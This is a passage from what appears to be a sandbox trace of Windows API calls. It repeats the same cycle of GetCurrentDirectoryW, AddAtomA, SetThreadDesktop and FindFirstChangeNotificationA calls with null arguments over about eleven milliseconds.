lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.679] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.679] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.679] GetLastError () returned 0x3 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] AddAtomA (lpString=0x0) returned 0x0 [0034.679] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.680] GetLastError () returned 0x3 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.680] GetLastError () returned 0x3 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.680] GetLastError () returned 0x3 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.680] GetLastError () returned 0x3 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.680] GetLastError () returned 0x3 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.680] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.680] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.680] GetLastError () returned 0x3 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] AddAtomA (lpString=0x0) returned 0x0 [0034.680] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.681] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.681] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.681] GetLastError () returned 0x3 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.681] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.682] GetLastError () returned 0x3 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.682] GetLastError () returned 0x3 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.682] GetLastError () returned 0x3 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.682] GetLastError () returned 0x3 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.682] GetLastError () returned 0x3 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.682] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.682] GetLastError () returned 0x3 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] AddAtomA (lpString=0x0) returned 0x0 [0034.682] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.682] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.683] GetLastError () returned 0x3 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.683] GetLastError () returned 0x3 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.683] GetLastError () returned 0x3 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.683] GetLastError () returned 0x3 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.683] GetLastError () returned 0x3 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.683] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.683] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.683] GetLastError () returned 0x3 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] AddAtomA (lpString=0x0) returned 0x0 [0034.683] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.684] GetLastError () returned 0x3 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.684] GetLastError () returned 0x3 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.684] GetLastError () returned 0x3 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.684] GetLastError () returned 0x3 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.684] GetLastError () returned 0x3 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.684] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.684] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.684] GetLastError () returned 0x3 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.684] AddAtomA (lpString=0x0) returned 0x0 [0034.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.685] GetLastError () returned 0x3 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.685] GetLastError () returned 0x3 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.685] GetLastError () returned 0x3 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.685] GetLastError () returned 0x3 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.685] GetLastError () returned 0x3 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.685] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.685] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.685] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.685] GetLastError () returned 0x3 [0034.685] AddAtomA (lpString=0x0) returned 0x0 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.686] GetLastError () returned 0x3 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.686] GetLastError () returned 0x3 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.686] GetLastError () returned 0x3 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.686] GetLastError () returned 0x3 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.686] GetLastError () returned 0x3 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] AddAtomA (lpString=0x0) returned 0x0 [0034.686] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.686] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.686] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.687] GetLastError () returned 0x3 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.687] GetLastError () returned 0x3 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.687] GetLastError () returned 0x3 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.687] GetLastError () returned 0x3 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.687] GetLastError () returned 0x3 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.687] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.687] GetLastError () returned 0x3 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] AddAtomA (lpString=0x0) returned 0x0 [0034.687] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.687] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.688] GetLastError () returned 0x3 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.688] GetLastError () returned 0x3 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.688] GetLastError () returned 0x3 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.688] GetLastError () returned 0x3 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.688] GetLastError () returned 0x3 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.688] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.688] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.688] GetLastError () returned 0x3 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] AddAtomA (lpString=0x0) returned 0x0 [0034.688] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.689] GetLastError () returned 0x3 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.689] GetLastError () returned 0x3 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.689] GetLastError () returned 0x3 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.689] GetLastError () returned 0x3 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.689] GetLastError () returned 0x3 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.689] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.689] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.689] GetLastError () returned 0x3 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.689] AddAtomA (lpString=0x0) returned 0x0 [0034.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.690] GetLastError () returned 0x3 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] SetThreadDesktop (hDesktop=0x0) returned 0 [0034.690] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0034.690] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0034.690] GetLastError () returned 0x3 [0034.690] AddAtomA (lpString=0x0) returned 0x0 [0034.690] 